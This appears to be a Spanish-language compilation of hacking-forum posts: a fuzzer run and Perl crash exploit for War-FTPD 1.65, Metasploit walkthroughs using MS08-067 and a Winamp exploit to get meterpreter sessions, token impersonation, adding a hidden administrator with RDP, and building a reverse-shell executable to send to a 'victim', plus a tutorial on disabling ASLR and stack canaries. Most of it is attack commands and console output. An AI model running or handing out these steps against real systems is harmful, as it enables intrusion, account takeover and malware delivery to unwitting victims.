                >> USER  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
                << 331 User name okay, Need password.

                -----------------------------------------------
                << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.

                >> USER  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A

                << 331 User name okay, Need password.

                -----------------------------------------------
                << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.

                >> USER  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A
                << 331 User name okay, Need password.

                -----------------------------------------------
                << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.

                >> USER  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
                << 331 User name okay, Need password.

                -----------------------------------------------
                << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.

                >> USER ////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
                << 331 User name okay, Need password.

                -----------------------------------------------
                << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.

                >> USER ////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////
                << 331 User name okay, Need password.

                -----------------------------------------------
                << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.

                >> USER ////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////
                << 331 User name okay, Need password.

                -----------------------------------------------
                << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.

                >> USER ////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////
                << 331 User name okay, Need password.

                -----------------------------------------------
                << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.

                >> USER ////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////
                << 331 User name okay, Need password.

                -----------------------------------------------
                << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.

                >> USER ////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
                << 331 User name okay, Need password.

                -----------------------------------------------
                << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.

                >> USER ////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////
                << 331 User name okay, Need password.

                -----------------------------------------------
                << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.

                >> USER ////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////
TCP socket unexpectedly closed when receiving
                <**> It was suppose to recv something, but recv nothing CHECKIT!
<**>
                -----------------------------------------------
Couldn't connect TCP socket
<**> Bug found!!! ) <**>
-> Sending: USER ///////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
/

C:\Documents and Settings\Administrador\Escritorio\fuzzer-1.1>

[idea] Ahora si nos Damos Cuenta en un inicio del Analisis.

Citar<< 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.

                >> USER  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
                << 331 User name okay, Need password.

  Please enter your user name.: Como nos muestra en todo el analisis, empieza a verificar si puede producirse un buffer overflow por la cantidad de caracteres en el user o password, y empieza a chequear cuantos, caracteres nececita para poder provocar esta vulnerabilidad.

CitarCouldn't connect TCP socket
<**> Bug found!!! ) <**>
-> Sending: USER ///////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
/

  Luego Detecta una Vulnerabilidad, por la cantidad de caracteres introducidos en el username. alrededor de 1000 caracteres.

[idea] Tambien navegando por Internet encontre informacion que confirmo mi analisis sobre el Fuzzer.

CitarFrom: Aleph One <aleph1_at_DFW.DFW.NET>
Date: Wed, 4 Feb 1998 12:49:42 -0600

>From rootshell:

---------- Forwarded message ----------
Windows 95/NT War FTPD 1.65 Buffer Overflow
-------------------------------------------

The popular War FTPD daemon for Windows 95 and NT contains a very bad buffer
overflow allows for remote users to execute code on your stack or simply
crash the ftp server.

The overflow exists in many places including the USER and PASS phase. To
exploit War FTPD you must connect to the FTP server (port 21) and issue the
following command :

USER xxxxxxxxxxxxxxxxxxxxxxxxxxxxx (very long string)

or

PASS xxxxxxxxxxxxxxxxxxxxxxxxxxxxx (very long strong)

At this point the FTP daemon will crash. We at Rootshell are not Windows
users and did not have the resources or time to write actual code to execute
on the stack, however it IS possible.

You may find War FTPD information at You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Received on Feb 04 1998

[idea] Esta vulnerabilidad fuese tenido alguna utilidad  hace 9 años, porque fue descubierto en 1998, busque y busque y no encontre un exploit, con conocimiento basico sobre perl se pudo codear este exploit, lo cual hago mension aqui, es mi primer exploit, aunque no tiene ninguna utilidad para explotar algun ordenador que este corriendo este servicio, pero si de uso educacional.

  Una ves Analizado el Resultado del Fuzzer, y respaldado por el Bugtraq, ahora podemos crear nuestro exploit.

Exploit War FTPD 1.65 Buffer Overflow By OzX [Perl]

#!/usr/bin/perl
# ===============================================================================================
#                            War FTPD 1.65
#                               By OzX
# ==============================================================================================
# Referencia: http://seclists.org/bugtraq/1998/Feb/0013.html
# Windows 95/NT War FTPD 1.65 Buffer Overflow
# Exploit Diseñado para el Manual de Fuzzer: Buscando Vulnerabilidades
# www.new-Bytes.net
# #================================================================================================
use strict;
use Net::FTP;

my $username = "////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////";
my $pwd = "exploit";
my $ftp = Net::FTP->new("localhost") or die("No se pudo conectar al servidor, porque el user y pass no eran correctos \n, pero se logro la intencion de crear el buffer overflow : $!");
$ftp->login($username,$pwd) or die("Login incorrecto: $!");
$ftp->quit or die("No se puede desconectar del servidor: $!");

  Bueno Aqui les Dejo un Video en donde Demuestra que el Exploit Funciona a la Perfeccion.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Buenas, estuve revisando la lista de exploits para Navegadores (Browser) de Windows.
Cuando me tope con una de Winamp con lo que me decidí a probarla..

Vamos que es así:
Con el siguiente código usamos el Exploit

use exploit/windows/browser/winamp_playlist_unc

Seleccionamos nuestro Payload de Reversa

set payload windows/meterpreter/reverse_tcp

Acá seteamos nuestra IP localhost

set LHOST

Acá la IP del Server (Nuestra IP)

set SRVHOST

Con este seleccionamos el PUERTO de escucha

set SRVPORT

Finalmente lanzamos el Exploit

exploit

Nos generará una URL la cual debemos pasar al REMOTO, al abrirla si tiene Winamp, se le abrirá automáticamente con este y le dará un mensaje acerca de su lista de reproducción.

A nosotros en la Consola nos llegará un mensaje de una sesión del Meterpreter abierta..
Verificamos la sesión con el comando

sessions

Viendo que en mi caso hay 1 sesión la llamo con

sessions -i 1

Nos llegara el mensaje del meterpreter y con esto ya podríamos llamar la shell remota

shell

Hasta aquí llegamos..

Autor: Kodeinfect
Fuente: Foro Portal Hacker

Ahora veremos como suplantar a un usuario del sistema sin tener que crear un usuario nuevo con permisos de administrador.

Primero ingresaremos a la P.C con el exploit:
    * exploit/windows/smb/ms08_067_netapi

y con el PAYLOAD:
    * windows/vncinject/bind_tcp

En este caso usaremos el PAYLOAD windows/shell/bind_tcp. No explicaré mucho porque para eso esta este POST de mi amigo Rcart.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

                _                  _       _ _
               | |                | |     (_) |
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                            | |
                            |_|


       =[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7808 updated 16 days ago (2009.12.10)

Warning: This copy of the Metasploit Framework was last updated 16 days ago.
         We recommend that you update the framework at least every other day.
         For information on updating your copy of Metasploit, please see:
             http://dev.metasploit.com/redmine/projects/framework/wiki/Updating

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.2:4661 -> 192.168.0.3:4444)

meterpreter > 

Despues de obtener el Meterpreter, ejecutaremos el use más la opción de incognito

meterpreter > use incognito
Loading extension incognito...success.
meterpreter > 

Miramos que opciones tiene:

meterpreter > help 

Incognito Commands
==================

    Command              Description
    -------              -----------
    add_group_user       Attempt to add a user to a global group with all tokens
    add_localgroup_user  Attempt to add a user to a local group with all tokens
    add_user             Attempt to add a user with all tokens
    impersonate_token    Impersonate specified token
    list_tokens          List tokens available under current user context
    snarf_hashes         Snarf challenge/response hashes for every token

meterpreter > 

Usaremos el comando list_tokens. Pero miremos que parametros tiene para la ejecución:

meterpreter > list_tokens
Usage: list_tokens <list_order_option>

Lists all accessible tokens and their privilege level

OPTIONS:

    -g        List tokens by unique groupname
    -u        List tokens by unique username


meterpreter > 

Ahora mostraremos los usuarios existentes en el Sistema:

meterpreter > list_tokens -u

Delegation Tokens Available
========================================
COLTEJER\ServerColtejer
NT AUTHORITY\Servicio de red
NT AUTHORITY\SERVICIO LOCAL
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

meterpreter > 

Ahora llega el momento en el que vamos a suplantar un usuario.

meterpreter > impersonate_token COLTEJER\\ServerColtejer
[+] Delegation token available
[+] Successfully impersonated user COLTEJER\ServerColtejer
meterpreter > 

Abrimos la consola o shell remota del usuario suplantado. En este caso del usuario COLTEJER\ServerColtejer

meterpreter > execute -f cmd.exe -i -t
Process 1528 created.
Channel 1 created.
Microsoft Windows XP [Versi¢n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

By: Shell Root
Fuente: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Video: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Una de las muchas herramientas que trae integrada el Metasploit aparte de la que ya hemos visto (keyylogger, Screenshot, Ver Escritorio Remoto ). Tambien podemos agregar un usuario y habilitar el escritorio remoto de la P.C Remota con tan solo una ejecucion de un comando. Aquí veremos el uso de esté servicio del Metasploit.

Primero ingresaremos a la P.C con el exploit:
    * exploit/windows/smb/ms08_067_netapi

y con el PAYLOAD:
    * windows/meterpreter/bind_tcp
    * windows/meterpreter/reverse_tcp

En este caso usaremos el PAYLOAD windows/shell/bind_tcp. No explicaré mucho porque para eso esta este POST de mi amigo Rcart.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

                     888                           888        d8b888
                     888                           888        Y8P888
                     888                           888           888
88888b.d88b.  .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P  Y8b888       "88b88K     888 "88b888d88""88b888888
888  888  88888888888888   .d888888"Y8888b.888  888888888  888888888
888  888  888Y8b.    Y88b. 888  888     X88888 d88P888Y88..88P888Y88b.
888  888  888 "Y8888  "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
                                           888
                                           888
                                           888


       =[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7808 updated 10 days ago (2009.12.10)

Warning: This copy of the Metasploit Framework was last updated 10 days ago.
         We recommend that you update the framework at least every other day.
         For information on updating your copy of Metasploit, please see:
             http://dev.metasploit.com/redmine/projects/framework/wiki/Updating

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > set PAYLOAD windows/bind_tcp
[-] The value specified for PAYLOAD is not valid.
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.2:12995 -> 192.168.0.3:4444)

meterpreter >

Ahora que tenemos el Meterpreter ejecutamos el comando run getgui. Miremos que opciones tiene.

meterpreter > run getgui                 
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u <username> -p <password>
Or:    getgui -e

OPTIONS:

    -e        Enable RDP only.
    -h        Help menu.
    -p <opt>  The Password of the user to add.
    -u <opt>  The Username of the user to add.

meterpreter > 

Ahora ingresamos los parametros necesarios para perfecta ejecución del exploit. Así:

meterpreter > run getgui -u Shell -p Root
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez [email protected]
[*] Enabling Remote Desktop
[*]     RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*]     The Terminal Services service is not set to auto, changing it to auto ...
[*]     Opening port in local firewall if necessary
[*] Setting user account for logon
[*]     Adding User: Shell with Password: Root
[*]     Adding User: Shell to local group Remote Desktop Users
[*]     Adding User: Shell to local group Administrators
[*] You can now login with the created user

Ahora ya tan solo nos queda conectarnos desde la Conexión a Escritorio remoto que trae integrado Windows.


By: Shell Root
Fuente: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Video: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Despues de explotar la vulnerabilidad en sistemas Windows XP SP 2 [445/tcp "Microsoft Windows XP microsoft-ds"] con el exploit exploit/windows/smb/ms08_067_netapi. Ahora veremos como obtener una session del Meterpreter cuando la victima ejecute un archivo Ejecutable.

Primero generamos el ejecutable con el PAYLOAD windows/meterpreter/reverse_tcp. Así, desde la Shell de Linux:

shell@ShellRoot:~/msf3$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.5 LPORT=5555 X > /home/shell/hola.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 290
Options: LHOST=192.168.0.5,LPORT=5555
shell@ShellRoot:~/msf3$ 

Nota: Me toco hacerlo desde Linux porque en W1nd0w$, no me funco el parametro X >.

Ahora revizamos la ruta /home/shell/hola.exe y miramos que existe el archivo.


Mandamos el archivo a la Victima, pero antes de ello, debemos configurar el Auxiliary multi/handler, de esta forma:

shell@ShellRoot:~/msf3$ ./msfconsole

                     888                           888        d8b888
                     888                           888        Y8P888
                     888                           888           888
88888b.d88b.  .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P  Y8b888       "88b88K     888 "88b888d88""88b888888
888  888  88888888888888   .d888888"Y8888b.888  888888888  888888888
888  888  888Y8b.    Y88b. 888  888     X88888 d88P888Y88..88P888Y88b.
888  888  888 "Y8888  "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
                                           888
                                           888
                                           888


       =[ metasploit v3.3.3-release [core:3.3 api:1.0]
+ -- --=[ 481 exploits - 220 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops

msf > use multi/handler

Cabe decir de que debemos de configurar de nuevo el PAYLOAD puesto dentro de archivo ejecutable que creamos al inicio (hola.exe), ponemos los mismos datos. Así:

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.5
LHOST => 192.168.0.5
msf exploit(handler) > set LPORT 5555
LPORT => 5555

Ahora es tiempo de ejecutar nuestro Auxiliary. Pero ejecutarémos digamos que en un "segundo plano", a la espera de que la victima abra el ejecutable que le mandamos. Así:

msf exploit(handler) > exploit -j
[*] exploit Running as background job.

[*] Starting the payload handler...
[*] Started reverse handler on port 5555
msf exploit(handler) >

Ahora es cuestion de esperar a que la victima abra el archivo y obtendrémos la session del Meterpreter. Supongamos que pasaron varios minutos y que la victima abrio el archivo, nos debe de aparecer esto:

msf exploit(handler) > [*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.5:5555 -> 192.168.0.2:11735)

By: Shell Root
Fuente: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Video: Nothing...

Saludos!

Deshabilitando protecciones contra Buffer Overflows

Cuando es el momento de analizar un programa en busca de vulnerabilidades o simplemente explotarlos bajo GNU/Linux, hay dos simples protecciones que hay que tener en cuanta cuando hablamos  de sistemas con Kernels de versiones 2.6 y mayores, y por sobre todo si están compilados con GCC. Hay mas protecciones como el parche grsecurity o exec-shield (de los que quizás hable mas adelante), hasta existe una protección desde hardware llamado StackGuard.

---

Virtual Address Space Randomization

La primera protección es la creación de espacio  de direcciones virtuales aleatorias en el proceso, que van cambiando con cada invocación del proceso. Al cambiar esto, los exploits creados para direcciones absolutas (osea, constantes) serian obsoletos ya que cambian las direcciones con cada ejecución del programa y sus librerías en un rango de 8MB. Esto se aplica solamente a binarios ELF (Executable and Linkable Format).

El método para habilitarlo y deshabilitarlo es simple, voy a demostrar el cambio de direcciones en la memoria con el siguiente código:

#include <stdio.h>

unsigned long esp(void){
	__asm__("movl %esp, %eax");
}

int main(int argc, char *argv[]){
	printf("0x%08x\n",esp());
	return 0;
}

Este código me daría la dirección exacta de ESP en el momento de la ejecución. Ahora con este código vamos a probar la protección en si del kernel en cuestión. El archivo de sistema que controla esta opción se encuentra en /proc/sys/kernel/randomize_va_space (solo manipulado por un superusuario o root) y podríamos decir que se controla mediante un TRUE (1) o FALSE (0). Entonces, probemos:

c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ cat /proc/sys/kernel/randomize_va_space 
1
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ cat > esp.c << _END_
> #include <stdio.h>
> 
> unsigned long esp(void){
> __asm__("movl %esp, %eax");
> }
> 
> int main(int argc, char *argv[]){
> printf("0x%08x\n",esp());
> return 0;
> }
> 
> _END_
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ gcc esp.c -o esp
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$  ./esp
0xbfef2448
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ ./esp
0xbfd48298
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ ./esp
0xbfa24778
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ 

Mediante la habilitación de este "parche" podemos ver que las direcciones van cambiando y haciendo casi imposible saber la dirección virtual de ESP (en este caso..) hasta el momento de la ejecución. Ahora deshabilitemos esta función y veamos que pasa:

root@c1c4tr1z-desktop:~# echo 0 > /proc/sys/kernel/randomize_va_space
[...]
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ cat /proc/sys/kernel/randomize_va_space 
0
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ ./esp
0xbffff558
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ ./esp
0xbffff558
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ ./esp
0xbffff558
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ 

Después de deshabilitar el parche podemos ver que la dirección de ESP es constante en el ejecutable, sin siquiera volver a compilarlo!
Pero no se asusten, como la historia nos ha enseñado! Detras de cada sistema de seguridad hay alguien tratando de romperlo.. [1]

---

GCC StackGuard (ProPolice) Protection

Bueno, esta es una proteccion de seguridad implementada en el compilador ultra renombrado y que se encuentra en cada distribución GNU/Linux , hablo de GCC (GNU Compiler Collection). Este compilador viene con un sistema de protección llamado "StackGuard" desarrollado por Immunix y ahora llamado ProPolice [2]. Esta protección detecta un ataque de buffer overflow (siempre en el "stack") creando un valor llamado "Canario" entre los buffers creados y el "frame pointer" (EBP) & "return address" (EIP), entonces cuando un buffer intenta sobreescribir estos valores tiene que de una forma o otra sobreescribir el valor "Canario" y esto sirve como lanzador ("trigger") de la proteccion que da una alerta y toma una acción contra ello, por ejemplo, deteniendo el proceso.
Bueno, vamos a ver como reacciona a un simple overflow como este:

#include <stdio.h>
#include <string.h>

void overflow(char *badbeef){
	char buffer[32];
	strcpy(buffer, badbeef);
}

int main(int argc, char *argv[]){
	overflow(argv[1]);
	return 0;
}

Como vemos, hay un buffer de 32 bytes y ni un solo checkeo al hacer la copia de string al buffer. Ya sabemos que tenemos 32 bytes de buffer + EBP +  EIP, pero si la protección esta habilitada no nos permitiría ni pasar de el "frame pointer":

c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ cat > vulnerable.c <<_END_
> #include <stdio.h>
> #include <string.h>
> 
> void overflow(char *badbeef){
> char buffer[32];
> strcpy(buffer, badbeef);
> }
> 
> int main(int argc, char *argv[]){
> overflow(argv[1]);
> return 0;
> }
> 
> _END_
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ gcc vulnerable.c -o vulnerable
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ ./vulnerable $(perl -e 'print "A"x32')
c1c4tr1z@c1c4tr1z-desktop:~/Escritorio$ ./vulnerable $(perl -e 'print "A"x36#EBP')
*** stack smashing detected ***: ./vulnerable terminated
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0xb7f69138]
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x0)[0xb7f690f0]
./vulnerable[0x80483fe]
./vulnerable[0x8048421]
[0x41414141]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:02 534536     /home/c1c4tr1z/Escritorio/vulnerable
08049000-0804a000 rw-p 00000000 08:02 534536     /home/c1c4tr1z/Escritorio/vulnerable
0804a000-0806b000 rw-p 0804a000 00:00 0          [heap]
b7e70000-b7e7a000 r-xp 00000000 08:02 197220     /lib/libgcc_s.so.1
